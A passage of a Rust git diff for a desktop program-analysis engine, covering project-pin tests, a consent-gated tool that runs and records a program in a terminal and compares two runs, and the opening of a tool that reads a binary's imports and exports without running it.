["frozen", "light"] { + let made = call("project_pin_create", json!({"project": ws.root, "mode": mode})).unwrap(); + let id = made["pin"]["id"].as_u64().unwrap() as u32; + let pin = pins::get(&ws, id).unwrap(); + let copy = pin.app_dir(&ws); + let future = std::fs::FileTimes::new().set_modified(SystemTime::now() + Duration::from_secs(60)); + std::fs::File::options().write(true).open(copy.join("Build/obj/helper")).unwrap().set_times(future).unwrap(); + assert_eq!(crate::outputs::packaged_program(©.join("Build")), Some(copy.join("Build/obj/helper"))); + let opened = call("project_pin_open", json!({"project": ws.root, "pin": id})).unwrap(); + assert_eq!(opened["started"], copy.join("Build/game").display().to_string()); + assert_eq!(pins::tail(&pin.log_path(&ws)), "selected-game"); + std::fs::remove_file(copy.join("Build/game")).unwrap(); + assert_eq!(call("project_pin_open", json!({"project": ws.root, "pin": id})).unwrap_err().code, ErrorCode::NotFound); + } + } + + #[test] + fn pin_list_rename_and_remove_from_the_cli() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Snake", "a snake game", TargetRef::None).unwrap(); + let app = ws.app_dir(); + std::fs::create_dir_all(app.join("src")).unwrap(); + std::fs::write(app.join("Cargo.toml"), "[package]\nname = \"snake\"\n").unwrap(); + std::fs::write(app.join("src/main.rs"), "fn main() {}").unwrap(); + std::fs::create_dir_all(app.join("target/debug")).unwrap(); + let program = app.join("target/debug").join(if cfg!(windows) { "snake.exe" } else { "snake" }); + std::fs::write(&program, b"program").unwrap(); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&program, std::fs::Permissions::from_mode(0o755)).unwrap(); + } + let e = Engine::new(crate::testing::session()); + let call = |id: &str, p: Value| e.call(id, p, CallOptions::new(Caller::Cli).with_consent(Consent::Granted)).map(|o| o.to_json()["result"].clone()); + + let est = call("project_pin_create", json!({"project": ws.root, "estimate": true})).unwrap(); + assert!(est["estimate"]["bytes"].as_u64().unwrap() > 0); + assert!(pins::list(&ws).is_empty(), "an estimate pins nothing"); + let made = call("project_pin_create", json!({"project": ws.root})).unwrap(); + assert_eq!(made["pin"]["mode"], "frozen"); + call("project_pin_create", json!({"project": ws.root, "mode": "light", "name": "Latest"})).unwrap(); + + let list = call("project_pins_list", json!({"project": ws.root})).unwrap(); + assert_eq!(list["count"], 2); + assert_eq!(list["pins"][1]["pin"]["name"], "Latest"); + assert_eq!(list["pins"][0]["running"], false); + + call("project_pin_rename", json!({"project": ws.root, "pin": 1, "name": "Keeper"})).unwrap(); + assert!(call("project_pin_delete", json!({"project": ws.root, "pin": 1})).is_err(), "removing needs confirm"); + call("project_pin_delete", json!({"project": ws.root, "pin": 1, "confirm": true})).unwrap(); + let list = call("project_pins_list", json!({"project": ws.root})).unwrap(); + assert_eq!(list["count"], 1); + assert_eq!(call("project_pin_open", json!({"project": ws.root, "pin": 1})).unwrap_err().code, ErrorCode::NotFound); + } +} diff --git a/desktop/crates/engine/src/tools/process_tools.rs b/desktop/crates/engine/src/tools/process_tools.rs new file mode 100644 index 0000000..07b4e99 --- /dev/null +++ b/desktop/crates/engine/src/tools/process_tools.rs @@ -0,0 +1,705 @@ +//! Running programs: capture a program under a pseudo-terminal with a scripted timeline, and +//! compare two captures. Capture executes foreign code, so it is consent-gated. + +use super::artifact_tools::resolve_evidence_input; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{ + Authority, Confidence, Coverage, CoverageStatus, Environment, EvidenceBuilder, Limitation, Location, Subject, ToolError, host_triple, +}; +use craft_anything_platform::capture::{self, Event, EventKind, Limits, SandboxRequest, Sig, Spec, Terminal}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::sync::Arc; +use std::time::Duration; + +pub fn specs() -> Vec { + vec![ + ToolSpec { + id: "runtime_walkthrough_record", + title: "Run and watch a program", + summary: "Run a program under a terminal with a scripted timeline of typed input, resizes and signals, then record the terminal screen, exit, and (opt-in) which files changed. Values that change every run (process ids, loopback ports, 10 ms time buckets; optionally paths and literal patterns) are normalised so two runs compare. Bounded by time, output and files; the whole process group is killed on timeout or cancel. Runs code, so it needs your OK.", + beginner: "Actually run the program in a safe, watched sandbox and see what it does on screen and which files it touches.", + toolset: Toolset::Runtime, + // Runs code from the target -> consent-gated. + effects: Effects::MUTATES_SESSION.union(Effects::WRITES_FILESYSTEM).union(Effects::LAUNCHES_PROCESS).union(Effects::EXECUTES_FOREIGN_CODE), + requires: Requires::Nothing, + input_schema: schema_of::, + run: runtime_walkthrough_record, + }, + ToolSpec { + id: "runtime_captures_compare", + title: "Compare two runs", + summary: "Compare two runtime_walkthrough_record evidence records dimension by dimension (terminal, exit, filesystem, events) and report what changed. Pure; no program is run.", + beginner: "See what differs between two runs of a program.", + toolset: Toolset::Runtime, + effects: Effects::EVIDENCE, + requires: Requires::Nothing, + input_schema: schema_of::, + run: runtime_captures_compare, + }, + ] +} + +// -------------------------------------------------------------------------------------------- +// runtime_walkthrough_record + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CaptureParams { + /// The program to run (absolute path or a name resolved on PATH). + pub executable: String, + #[serde(default)] + pub arguments: Vec, + /// Working directory (absolute). Defaults to the program's own default. + #[serde(default)] + pub working_directory: Option, + /// Extra environment variables applied on top of the inherited environment. + #[serde(default)] + pub environment: std::collections::BTreeMap, + /// Absolute paths to snapshot before and after (opt-in). File contents are never read; only + /// path, size and sha256. + #[serde(default)] + pub watched_paths: Vec, + #[serde(default)] + pub terminal: TerminalParams, + /// Scripted events, ordered by `at_ms`. + #[serde(default)] + pub events: Vec, + #[serde(default = "d_timeout")] + pub timeout_ms: u64, + #[serde(default = "d_timeout")] + pub idle_timeout_ms: u64, + #[serde(default = "d_settle")] + pub settle_ms: u64, + /// 0 = SIGKILL at the deadline; > 0 = SIGTERM, wait this long, then SIGKILL. + #[serde(default)] + pub finish_ms: u64, + #[serde(default)] + pub limits: LimitsParams, + /// Run inside bubblewrap if it is installed (recorded honestly either way). + #[serde(default)] + pub sandbox: bool, + /// Make two runs comparable: replace values that change every run (on by default for process + /// ids, ports and 10 ms time buckets). + #[serde(default)] + pub normalization: NormalizationParams, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields, default)] +pub struct NormalizationParams { + /// Replace the run's process ids with . + pub pids: bool, + /// Replace ports after localhost, 127.0.0.1, 0.0.0.0 and [::1] with . + pub ports: bool, + /// Replace the working directory and the temp folder with and . + pub paths: bool, + /// Literal replacements (no patterns), applied last; at most 100. + pub patterns: Vec, + /// Round event dispatch times down to this many milliseconds (0 keeps them exact). + pub time_step_ms: u64, +} + +impl Default for NormalizationParams { + fn default() -> Self { + NormalizationParams { pids: true, ports: true, paths: false, patterns: Vec::new(), time_step_ms: 10 } + } +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct LiteralRule { + pub pattern: String, + pub replacement: String, +} + +/// Replace `num` where it stands alone (not inside a longer number); returns the count. +fn replace_number(text: &mut String, num: &str, with: &str) -> u64 { + let mut out = String::with_capacity(text.len()); + let mut rest = text.as_str(); + let mut n = 0; + while let Some(i) = rest.find(num) { + let (before, after) = (rest.get(..i).unwrap_or_default(), rest.get(i + num.len()..).unwrap_or_default()); + let alone = !before.ends_with(|c: char| c.is_ascii_digit()) && !after.starts_with(|c: char| c.is_ascii_digit()); + out.push_str(before); + out.push_str(if alone { with } else { num }); + n += u64::from(alone); + rest = after; + } + out.push_str(rest); + *text = out; + n +} + +/// Replace the digits after each loopback host with ; returns the count. +fn replace_ports(text: &mut String) -> u64 { + let mut n = 0; + for host in ["localhost:", "127.0.0.1:", "0.0.0.0:", "[::1]:"] { + let mut out = String::with_capacity(text.len()); + let mut rest = text.as_str(); + while let Some(i) = rest.find(host) { + let end = i + host.len(); + out.push_str(rest.get(..end).unwrap_or_default()); + let after = rest.get(end..).unwrap_or_default(); + let digits = after.len() - after.trim_start_matches(|c: char| c.is_ascii_digit()).len(); + if digits > 0 { + out.push_str(""); + n += 1; + } + rest = after.get(digits..).unwrap_or_default(); + } + out.push_str(rest); + *text = out; + } + n +} + +/// Normalise a capture's text and timings in place; returns how many of each were replaced. +fn normalize_capture(result: &mut Value, n: &NormalizationParams, pids: &[u32], paths: &[(String, &str)]) -> Value { + let mut counts = std::collections::BTreeMap::from([("pids", 0u64), ("ports", 0), ("paths", 0), ("patterns", 0), ("times", 0)]); + let text = |s: &mut String, counts: &mut std::collections::BTreeMap<&str, u64>| { + if n.paths { + for (path, alias) in paths.iter().filter(|(p, _)| !p.is_empty()) { + let hits = s.matches(path.as_str()).count() as u64; + if hits > 0 { + *s = s.replace(path.as_str(), alias); + *counts.entry("paths").or_default() += hits; + } + } + } + if n.pids { + for pid in pids { + *counts.entry("pids").or_default() += replace_number(s, &pid.to_string(), ""); + } + } + if n.ports { + *counts.entry("ports").or_default() += replace_ports(s); + } + for rule in &n.patterns { + let hits = s.matches(rule.pattern.as_str()).count() as u64; + if hits > 0 { + *s = s.replace(rule.pattern.as_str(), &rule.replacement); + *counts.entry("patterns").or_default() += hits; + } + } + }; + for v in result.pointer_mut("/terminal/lines").and_then(Value::as_array_mut).into_iter().flatten() { + if let Value::String(s) = v { + text(s, &mut counts); + } + } + for e in result.get_mut("events").and_then(Value::as_array_mut).into_iter().flatten() { + if let Some(Value::String(s)) = e.get_mut("detail") { + text(s, &mut counts); + } + if n.time_step_ms > 0 + && let Some(t) = e.get("sent_at_ms").and_then(Value::as_u64) + { + e["sent_at_ms"] = json!(t - t % n.time_step_ms); + *counts.entry("times").or_default() += 1; + } + } + json!(counts) +} + +fn d_timeout() -> u64 { + 30_000 +} +fn d_settle() -> u64 { + 100 +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct TerminalParams { + #[serde(default = "d_cols")] + pub columns: u16, + #[serde(default = "d_rows")] + pub rows: u16, + #[serde(default = "d_scrollback")] + pub scrollback: usize, +} + +fn d_cols() -> u16 { + 80 +} +fn d_rows() -> u16 { + 24 +} +fn d_scrollback() -> usize { + 1000 +} + +impl Default for TerminalParams { + fn default() -> Self { + TerminalParams { columns: 80, rows: 24, scrollback: 1000 } + } +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(tag = "type", rename_all = "snake_case", deny_unknown_fields)] +pub enum EventParams { + Input { + at_ms: u64, + /// Text to type. A trailing newline is not added for you. + data: String, + #[serde(default)] + sensitive: bool, + }, + Resize { + at_ms: u64, + columns: u16, + rows: u16, + }, + Signal { + at_ms: u64, + signal: SignalParam, + }, +} + +#[derive(Debug, Clone, Copy, Deserialize, JsonSchema)] +#[serde(rename_all = "SCREAMING_SNAKE_CASE")] +pub enum SignalParam { + Sigint, + Sigterm, + Sigkill, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct LimitsParams { + #[serde(default = "d_output")] + pub output_bytes: usize, + #[serde(default = "d_files")] + pub files: usize, + #[serde(default = "d_file_bytes")] + pub file_bytes: u64, + #[serde(default = "d_depth")] + pub watch_depth: usize, +} + +fn d_output() -> usize { + 1_000_000 +} +fn d_files() -> usize { + 10_000 +} +fn d_file_bytes() -> u64 { + 10_000_000 +} +fn d_depth() -> usize { + 16 +} + +impl Default for LimitsParams { + fn default() -> Self { + LimitsParams { output_bytes: 1_000_000, files: 10_000, file_bytes: 10_000_000, watch_depth: 16 } + } +} + +/// A sane ceiling so a single capture can never tie the machine up for too long. +const MAX_TIMEOUT_MS: u64 = 600_000; + +fn runtime_walkthrough_record(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: CaptureParams = parse_params(params)?; + if p.executable.trim().is_empty() { + return Err(ToolError::invalid("executable is empty")); + } + if p.timeout_ms == 0 || p.timeout_ms > MAX_TIMEOUT_MS { + return Err(ToolError::invalid(format!("timeout_ms must be 1..={MAX_TIMEOUT_MS}"))); + } + for k in p.environment.keys() { + if k == capture::RUN_ID_ENV { + return Err(ToolError::invalid(format!("{} is reserved for run ownership", capture::RUN_ID_ENV))); + } + if k.is_empty() || k.contains('=') || k.contains('\0') { + return Err(ToolError::invalid(format!("invalid environment name {k:?}"))); + } + } + for path in &p.watched_paths { + if !std::path::Path::new(path).is_absolute() { + return Err(ToolError::invalid(format!("observation path must be absolute: {path}"))); + } + } + if let Some(wd) = &p.working_directory + && !std::path::Path::new(wd).is_absolute() + { + return Err(ToolError::invalid("working_directory must be absolute")); + } + + if p.normalization.patterns.len() > 100 || p.normalization.patterns.iter().any(|r| r.pattern.is_empty()) { + return Err(ToolError::invalid("normalization.patterns: at most 100, each with a non-empty pattern")); + } + let terminal = Terminal { cols: p.terminal.columns, rows: p.terminal.rows, scrollback: p.terminal.scrollback }; + terminal.validate()?; + + let mut events = Vec::with_capacity(p.events.len()); + let mut last_at = 0u64; + for ev in &p.events { + let (at_ms, kind) = match ev { + EventParams::Input { at_ms, data, sensitive } => (*at_ms, EventKind::Input { data: data.clone().into_bytes(), sensitive: *sensitive }), + EventParams::Resize { at_ms, columns, rows } => { + let t = Terminal { cols: *columns, rows: *rows, scrollback: p.terminal.scrollback }; + t.validate()?; + (*at_ms, EventKind::Resize { cols: *columns, rows: *rows }) + } + EventParams::Signal { at_ms, signal } => ( + *at_ms, + EventKind::Signal(match signal { + SignalParam::Sigint => Sig::Int, + SignalParam::Sigterm => Sig::Term, + SignalParam::Sigkill => Sig::Kill, + }), + ), + }; + if at_ms < last_at { + return Err(ToolError::invalid("events must be ordered by at_ms")); + } + if at_ms > p.timeout_ms { + return Err(ToolError::invalid("an event is scheduled after timeout_ms")); + } + last_at = at_ms; + events.push(Event { at_ms, kind }); + } + + let spec = Spec { + executable: p.executable.clone().into(), + args: p.arguments.iter().map(Into::into).collect(), + cwd: p.working_directory.clone().map(Into::into), + env: p.environment.iter().map(|(k, v)| (k.clone(), v.clone())).collect(), + terminal, + events, + timeout: Duration::from_millis(p.timeout_ms), + idle_timeout: Duration::from_millis(p.idle_timeout_ms), + settle: Duration::from_millis(p.settle_ms), + finalization: Duration::from_millis(p.finish_ms), + observation_paths: p.watched_paths.iter().map(Into::into).collect(), + limits: Limits { output_bytes: p.limits.output_bytes, files: p.limits.files, file_bytes: p.limits.file_bytes, watch_depth: p.limits.watch_depth }, + sandbox: if p.sandbox { SandboxRequest::IfAvailable } else { SandboxRequest::Off }, + }; + + let ct = ctx.cancel.clone(); + let cancel: craft_anything_platform::process::Cancel = Arc::new(move || ct.is_cancelled()); + ctx.report(Some(0.0), "running the program"); + let cap = capture::capture(spec, cancel)?; + + let mut result = serde_json::to_value(&cap).map_err(|e| ToolError::internal(e.to_string()))?; + let tmp = std::env::temp_dir().to_string_lossy().trim_end_matches(['/', '\\']).to_string(); + let mut paths = vec![(tmp.replace('\\', "/"), ""), (tmp, "")]; + if let Some(cwd) = &p.working_directory { + let cwd = cwd.trim_end_matches(['/', '\\']).to_string(); + paths.insert(0, (cwd.replace('\\', "/"), "")); + paths.insert(0, (cwd, "")); + } + let pids: Vec = cap.exit.leader_pid.into_iter().collect(); + let replaced = normalize_capture(&mut result, &p.normalization, &pids, &paths); + result["normalization"] = json!({"settings": p.normalization, "replacements": replaced}); + let fs_effects = cap.filesystem.as_ref().map(|f| f.effects.len()).unwrap_or(0); + let summary = format!( + "Ran {} ({}): {}{}. Terminal {}×{}; {} bytes of output{}.", + cap.manifest.executable_name, + cap.exit.reason, + cap.exit.code.map(|c| format!("exit {c}")).unwrap_or_else(|| "no exit code".into()), + if cap.manifest.sandbox.used { ", sandboxed" } else { "" }, + cap.terminal.columns, + cap.terminal.rows, + cap.terminal.output_bytes, + if fs_effects > 0 { format!("; {fs_effects} filesystem changes observed") } else { String::new() }, + ); + + // Secret-free parameters for the record. + let safe_params = json!({ + "executable_name": cap.manifest.executable_name, + "argument_count": p.arguments.len(), + "event_count": p.events.len(), + "watched_path_count": p.watched_paths.len(), + "timeout_ms": p.timeout_ms, + "sandbox_requested": p.sandbox, + }); + + let env = Environment { + clean_room: ctx.session.clean_room(), + engine: "program-runs".into(), + engine_version: Some(env!("CARGO_PKG_VERSION").into()), + host: host_triple(), + language_id: None, + }; + let subject = Subject { kind: "capture".into(), sha256: cap.manifest.executable_sha256.clone(), name: Some(cap.manifest.executable_name.clone()) }; + + let mut b = EvidenceBuilder::new("runtime_walkthrough_record", subject, env) + .params(safe_params) + .result(result) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OurRun) + .limitations(cap.limitations.iter().map(|l| Limitation::new(l.code.clone(), l.message.clone()))); + if cap.truncated { + b = b.coverage(Coverage { status: CoverageStatus::Partial, examined: None, total: None, next_offset: None }); + } else { + b = b.coverage(Coverage::complete(1)); + } + if let Some(pid) = cap.exit.leader_pid { + b = b.location(Location::new("process", pid.to_string()).with_label("process-group leader")); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +// -------------------------------------------------------------------------------------------- +// runtime_captures_compare + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CompareParams { + /// The first run: runtime_walkthrough_record evidence (inline, {"kind":"saved",…} or a bare id). + pub left: Value, + /// The second run, in the same forms. + pub right: Value, +} + +#[derive(Debug, Serialize)] +struct Dimension { + dimension: &'static str, + status: &'static str, + detail: Value, +} + +fn runtime_captures_compare(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: CompareParams = parse_params(params)?; + let l = resolve_evidence_input(ctx, &p.left, &["runtime_walkthrough_record"])?; + let r = resolve_evidence_input(ctx, &p.right, &["runtime_walkthrough_record"])?; + + let dims = vec![ + compare_terminal(&l.result, &r.result), + compare_exit(&l.result, &r.result), + compare_events(&l.result, &r.result), + compare_filesystem(&l.result, &r.result), + ]; + + // Overall precedence: changed/added/removed, then unknown, then unchanged. + let overall = if dims.iter().any(|d| matches!(d.status, "changed" | "added" | "removed")) { + "changed" + } else if dims.iter().any(|d| d.status == "unknown") { + "unknown" + } else { + "unchanged" + }; + let changed: Vec<&str> = dims.iter().filter(|d| d.status != "unchanged").map(|d| d.dimension).collect(); + + let summary = if overall == "unchanged" { + "The two runs match across terminal, exit, events and filesystem.".to_string() + } else { + format!("Runs differ ({overall}): {}.", changed.join(", ")) + }; + + let b = EvidenceBuilder::new( + "runtime_captures_compare", + Subject { kind: "capture-pair".into(), sha256: None, name: Some("two captures".into()) }, + Environment::builtin(ctx.session.clean_room()), + ) + .params(json!({"left": l.id, "right": r.id})) + .result(json!({"overall": overall, "dimensions": dims, "changed_dimensions": changed})) + .summary(summary) + .confidence(Confidence::Derived) + .link(l.id.clone()) + .link(r.id.clone()); + Ok(ToolOutput::evidence(b.build()?)) +} + +fn compare_terminal(l: &Value, r: &Value) -> Dimension { + let ll = l.pointer("/terminal/lines").and_then(Value::as_array); + let rl = r.pointer("/terminal/lines").and_then(Value::as_array); + match (ll, rl) { + (Some(a), Some(b)) => { + let status = if a == b { "unchanged" } else { "changed" }; + let text = |v: &[Value]| v.iter().map(|l| l.as_str().unwrap_or_default().to_string()).collect::>(); + let mut detail = line_changes(&text(a), &text(b)); + detail["left_lines"] = json!(a.len()); + detail["right_lines"] = json!(b.len()); + Dimension { dimension: "terminal", status, detail } + } + _ => Dimension { dimension: "terminal", status: "unknown", detail: json!({"reason": "no rendered terminal in one capture"}) }, + } +} + +/// Which lines differ: the common start and end are skipped, and what is left on each side is +/// listed with its 1-based line number (at most 200 a side). +fn line_changes(a: &[String], b: &[String]) -> Value { + const MAX: usize = 200; + let prefix = a.iter().zip(b).take_while(|(x, y)| x == y).count(); + let suffix = a.iter().rev().zip(b.iter().rev()).take(a.len().min(b.len()).saturating_sub(prefix)).take_while(|(x, y)| x == y).count(); + let side = |v: &[String]| -> Vec { + v.iter().enumerate().skip(prefix).take(v.len().saturating_sub(prefix + suffix)).take(MAX).map(|(i, t)| json!({"line": i + 1, "text": t})).collect() + }; + let (removed, added) = (side(a), side(b)); + let listed_all = removed.len() == a.len().saturating_sub(prefix + suffix) && added.len() == b.len().saturating_sub(prefix + suffix); + json!({ + "first_changed_line": (prefix < a.len().max(b.len())).then_some(prefix + 1), + "only_left": removed, + "only_right": added, + "complete": listed_all, + }) +} + +fn compare_exit(l: &Value, r: &Value) -> Dimension { + let lc = l.pointer("/exit/code"); + let rc = r.pointer("/exit/code"); + let lr = l.pointer("/exit/reason").and_then(Value::as_str); + let rr = r.pointer("/exit/reason").and_then(Value::as_str); + let status = if lc == rc && lr == rr { "unchanged" } else { "changed" }; + Dimension { dimension: "exit", status, detail: json!({"left": {"code": lc, "reason": lr}, "right": {"code": rc, "reason": rr}}) } +} + +fn compare_events(l: &Value, r: &Value) -> Dimension { + let le = l.pointer("/events").and_then(Value::as_array).map(|a| a.len()).unwrap_or(0); + let re = r.pointer("/events").and_then(Value::as_array).map(|a| a.len()).unwrap_or(0); + let lo = dispatched(l); + let ro = dispatched(r); + let status = if le == re && lo == ro { "unchanged" } else { "changed" }; + Dimension { dimension: "events", status, detail: json!({"left": {"count": le, "dispatched": lo}, "right": {"count": re, "dispatched": ro}}) } +} + +fn dispatched(v: &Value) -> usize { + v.pointer("/events") + .and_then(Value::as_array) + .map(|a| a.iter().filter(|e| e.get("outcome").and_then(Value::as_str) == Some("dispatched")).count()) + .unwrap_or(0) +} + +fn compare_filesystem(l: &Value, r: &Value) -> Dimension { + let both_observed = l.pointer("/filesystem").is_some_and(Value::is_object) && r.pointer("/filesystem").is_some_and(Value::is_object); + if both_observed { + let lc = changes(l); + let rc = changes(r); + let status = if lc == rc { "unchanged" } else { "changed" }; + Dimension { dimension: "filesystem", status, detail: json!({"left_changes": lc.len(), "right_changes": rc.len()}) } + } else { + Dimension { dimension: "filesystem", status: "unknown", detail: json!({"reason": "one or both runs did not observe the filesystem"}) } + } +} + +/// Each changed path with how it changed: deleting a file and creating it are different runs (#300). +fn changes(v: &Value) -> std::collections::BTreeSet<(String, String)> { + v.pointer("/filesystem/effects") + .and_then(Value::as_array) + .map(|a| { + a.iter() + .filter_map(|e| Some((e.get("path")?.as_str()?.to_string(), e.get("change")?.as_str()?.to_string()))) + .filter(|(_, c)| matches!(c.as_str(), "created" | "deleted" | "modified")) + .collect() + }) + .unwrap_or_default() +} + +#[cfg(test)] +mod tests { + use crate::{CallOptions, Caller, Consent, Engine}; + use serde_json::{Value, json}; + + fn call_consent(e: &Engine, id: &str, p: Value) -> Result { + e.call(id, p, CallOptions::new(Caller::Cli).with_consent(Consent::Granted)).map(|o| o.to_json()) + } + + /// #300: one run deleting a file and the other creating it matched, as only paths were compared. + #[test] + fn deleting_and_creating_a_file_differ() { + let run = |effects: Value| json!({"filesystem": {"effects": effects}}); + let fx = |change: &str, path: &str| json!([{"path": path, "change": change}]); + let status = |l: Value, r: Value| super::compare_filesystem(&run(l), &run(r)).status; + assert_eq!(status(fx("deleted", "/w/a"), fx("created", "/w/a")), "changed"); + assert_eq!(status(fx("deleted", "/w/a"), fx("deleted", "/w/a")), "unchanged"); + assert_eq!(status(fx("deleted", "/w/a"), fx("deleted", "/w/b")), "changed"); + assert_eq!(status(fx("unchanged", "/w/a"), json!([])), "unchanged"); + } + + #[test] + fn capture_needs_consent() { + let e = Engine::new(crate::testing::session()); + let err = e.call("runtime_walkthrough_record", json!({"executable": "/bin/echo"}), CallOptions::new(Caller::Mcp)).unwrap_err(); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::ConsentRequired); + } + + #[test] + #[cfg_attr(not(any(target_os = "linux", target_os = "macos")), ignore)] + fn capture_and_compare_echo() { + if craft_anything_platform::which::which("sh").is_none() { + return; + } + let e = Engine::new(crate::testing::session()); + let a = call_consent( + &e, + "runtime_walkthrough_record", + json!({"executable": "/bin/sh", "arguments": ["-c", "echo first"], "timeout_ms": 5000, "settle_ms": 200}), + ) + .unwrap(); + let ida = a["id"].as_str().unwrap().to_string(); + assert_eq!(a["result"]["exit"]["reason"], "exited"); + assert!(a["result"]["terminal"]["lines"].as_array().unwrap().iter().any(|l| l.as_str().unwrap_or("").contains("first"))); + + let b = call_consent( + &e, + "runtime_walkthrough_record", + json!({"executable": "/bin/sh", "arguments": ["-c", "echo second"], "timeout_ms": 5000, "settle_ms": 200}), + ) + .unwrap(); + let idb = b["id"].as_str().unwrap().to_string(); + + let cmp = call_consent(&e, "runtime_captures_compare", json!({"left": ida, "right": idb})).unwrap(); + assert_eq!(cmp["result"]["overall"], "changed"); + assert!(cmp["result"]["changed_dimensions"].as_array().unwrap().iter().any(|d| d == "terminal")); + } + + #[test] + fn captures_are_normalised_so_runs_compare() { + use super::{LiteralRule, NormalizationParams, normalize_capture}; + let mut capture = json!({ + "terminal": {"lines": [ + "pid 4242 started (not 42420)", + "listening on 127.0.0.1:53817 and localhost:8080/x", + "wrote /work/dir/save.dat and /tmp/x", + "build abc-123" + ]}, + "events": [{"sent_at_ms": 1234, "detail": "sent to 4242"}] + }); + let n = + NormalizationParams { paths: true, patterns: vec![LiteralRule { pattern: "abc-123".into(), replacement: "BUILD".into() }], ..Default::default() }; + let counts = normalize_capture(&mut capture, &n, &[4242], &[("/work/dir".into(), ""), ("/tmp".into(), "")]); + let lines = &capture["terminal"]["lines"]; + assert_eq!(lines[0], "pid started (not 42420)"); + assert_eq!(lines[1], "listening on 127.0.0.1: and localhost:/x"); + assert_eq!(lines[2], "wrote /save.dat and /x"); + assert_eq!(lines[3], "build BUILD"); + assert_eq!(capture["events"][0]["detail"], "sent to "); + assert_eq!(capture["events"][0]["sent_at_ms"], 1230); + assert_eq!(counts, json!({"paths": 2, "patterns": 1, "pids": 2, "ports": 2, "times": 1})); + + // Nothing is touched with everything off. + let mut same = json!({"terminal": {"lines": ["pid 4242 on localhost:80"]}}); + let off = NormalizationParams { pids: false, ports: false, time_step_ms: 0, ..Default::default() }; + normalize_capture(&mut same, &off, &[4242], &[]); + assert_eq!(same["terminal"]["lines"][0], "pid 4242 on localhost:80"); + } + + #[test] + fn terminal_comparison_names_the_changed_lines() { + let lines = |v: &[&str]| v.iter().map(|s| s.to_string()).collect::>(); + let d = super::line_changes(&lines(&["$ run", "score: 10", "lives: 3", "bye"]), &lines(&["$ run", "score: 12", "lives: 3", "bonus!", "bye"])); + assert_eq!(d["first_changed_line"], 2); + assert_eq!(d["only_left"], json!([{"line": 2, "text": "score: 10"}, {"line": 3, "text": "lives: 3"}])); + assert_eq!(d["only_right"], json!([{"line": 2, "text": "score: 12"}, {"line": 3, "text": "lives: 3"}, {"line": 4, "text": "bonus!"}])); + assert_eq!(d["complete"], true); + let same = super::line_changes(&lines(&["a", "b"]), &lines(&["a", "b"])); + assert!(same["first_changed_line"].is_null() && same["only_left"] == json!([])); + let grown = super::line_changes(&lines(&["a"]), &lines(&["a", "b"])); + assert_eq!(grown["only_right"], json!([{"line": 2, "text": "b"}])); + assert_eq!(grown["only_left"], json!([])); + } + + #[test] + fn reserved_env_is_rejected() { + let e = Engine::new(crate::testing::session()); + let err = + call_consent(&e, "runtime_walkthrough_record", json!({"executable": "/bin/echo", "environment": {"CRAFT_ANYTHING_RUN_ID": "x"}})).unwrap_err(); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::BadInput); + } +} diff --git a/desktop/crates/engine/src/tools/program_facts_tools.rs b/desktop/crates/engine/src/tools/program_facts_tools.rs new file mode 100644 index 0000000..753ce07 --- /dev/null +++ b/desktop/crates/engine/src/tools/program_facts_tools.rs @@ -0,0 +1,1663 @@ +//! Facts read from a program or model file without running it: imports, exports, a Windows +//! program's signature block, AI model headers. Also pairing the functions of two builds, and +//! writing pseudo-C to a folder across several runs. Nothing here executes the target. + +use super::native_common::{CtxControl, disasm_err, native, page, params_json, select_document, spec, user_names}; +use super::static_input::{self, builder, format_err}; +use super::{Detail, detailed}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_analysis::function_match::{self, BodyStatus, MatchMethod, MatchResult, MatchedPair}; +use craft_anything_disasm::pseudo::lift; +use craft_anything_disasm::{Image, Limits, Program}; +use craft_anything_evidence::{Authority, Confidence, Coverage, CoverageStatus, ErrorCode, Limitation, Location, ToolError}; +use craft_anything_formats::authenticode::{self, CertTable, HashStatus, SignatureReport}; +use craft_anything_formats::verify::Verified; +use craft_anything_formats::{Binary, Format, ai_model, elf, macho_deps, parse_binary, pe}; +use craft_anything_platform::fs::write_atomic; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::{BTreeMap, BTreeSet}; +use std::path::{Path, PathBuf}; +use std::time::{Duration, Instant}; + +/// Largest program read whole (2 GiB). +const MAX_PROGRAM: u64 = 2 << 30; +/// Largest program analysed for a match, unless the call raises it. +const DEFAULT_MATCH_BYTES: u64 = 512 << 20; +/// Bytes of a model file read by default. +const DEFAULT_HEADER_BYTES: u64 = 256 << 20; +const MAX_HEADER_BYTES: u64 = 4 << 30; +const MIN_HEADER_BYTES: u64 = 1 << 10; + +pub fn specs() -> Vec { + let e = Effects::EVIDENCE | Effects::CARRIES_TARGET_CONTENT; + vec![ + spec( + "native_library_calls_list", + "What a program imports", + "The functions a program takes from other libraries, without analysing it. Windows programs: the import directory, the delay-load directory and bound imports, by name (with hint) or by ordinal, each saying which kind it is. ELF: the dynamic symbols with their needed version and library. Mach-O: bound symbols with how each library is linked. Libraries are summarised first, then rows are paged (offset/limit); contains keeps rows whose name or library holds that text, kind keeps one kind. Uses the active target unless path is given.", + "See which outside libraries and functions a program uses.", + Toolset::Formats, + e, + Requires::Nothing, + schema_of::, + native_library_calls_list, + ), + spec( + "native_offered_symbols_list", + "What a program exports", + "The functions and data a program or library 